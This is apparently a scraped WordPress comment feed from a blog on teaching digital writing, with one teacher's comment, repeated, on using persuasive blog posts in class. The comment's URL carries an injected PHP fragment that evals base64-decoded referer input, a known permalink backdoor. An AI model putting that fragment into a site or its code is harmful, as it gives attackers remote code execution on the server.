http://hickstro.org/2009/09/29/reflecting-on-the-purposes-of-digital-writing-and-professional-development/ Integrating New Literacies into the Teaching of Writing Fri, 13 Jan 2012 10:31:16 -0800 hourly 1 http://wordpress.org/?v=3.1.3 http://hickstro.org/2009/09/29/reflecting-on-the-purposes-of-digital-writing-and-professional-development/comment-page-1/#comment-1941 Marie Westman Sat, 10 Oct 2009 13:10:01 +0000 http://hickstro.org/2009/09/29/reflecting-on-the-purposes-of-digital-writing-and-professional-development/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comment-1941 Troy, I liked when you mentioned that "...digital writing seems to be best when there are some elements of both online synchronous and face-to-face elements involved." Digital writing such as digital stories, Twitter, blogs, wikis and other modes of digital writing could all be produced with little thought and effort. However, they also provide opportunities for deep learning if used thoughtfully. We as teachers can combine our expertise with these new tools and have our students create a piece of excellent writing. For example, we can have our students write a persuasive blog post about a topic of their choice. Just as a traditional assignment, we can require the students to include all the elements that teachers would normally require in a persuasive paragraph. In addition, having students write a persuasive paragraph as a blog post creates a unique opportunity that would not be given in a traditional persuasive paragraph on paper. Blog posts allow students to read and respond to the writings of their classmates. They can continue the conversations outside of the classroom and bring in relating news articles, other websites, and thoughts of others through hyperlinks. These conversations can be carried throughout the year and be brought up in later classroom conversations. I am very excited about digital writing! It can combine all the elements of face-to-face communication, but add amazing tools that paper and pencil cannot begin to compare. Troy, I liked when you mentioned that “…digital writing seems to be best when there are some elements of both online synchronous and face-to-face elements involved.” Digital writing such as digital stories, Twitter, blogs, wikis and other modes of digital writing could all be produced with little thought and effort. However, they also provide opportunities for deep learning if used thoughtfully. We as teachers can combine our expertise with these new tools and have our students create a piece of excellent writing. For example, we can have our students write a persuasive blog post about a topic of their choice. Just as a traditional assignment, we can require the students to include all the elements that teachers would normally require in a persuasive paragraph.
In addition, having students write a persuasive paragraph as a blog post creates a unique opportunity that would not be given in a traditional persuasive paragraph on paper. Blog posts allow students to read and respond to the writings of their classmates. They can continue the conversations outside of the classroom and bring in relating news articles, other websites, and thoughts of others through hyperlinks. These conversations can be carried throughout the year and be brought up in later classroom conversations.
I am very excited about digital writing! It can combine all the elements of face-to-face communication, but add amazing tools that paper and pencil cannot begin to compare.

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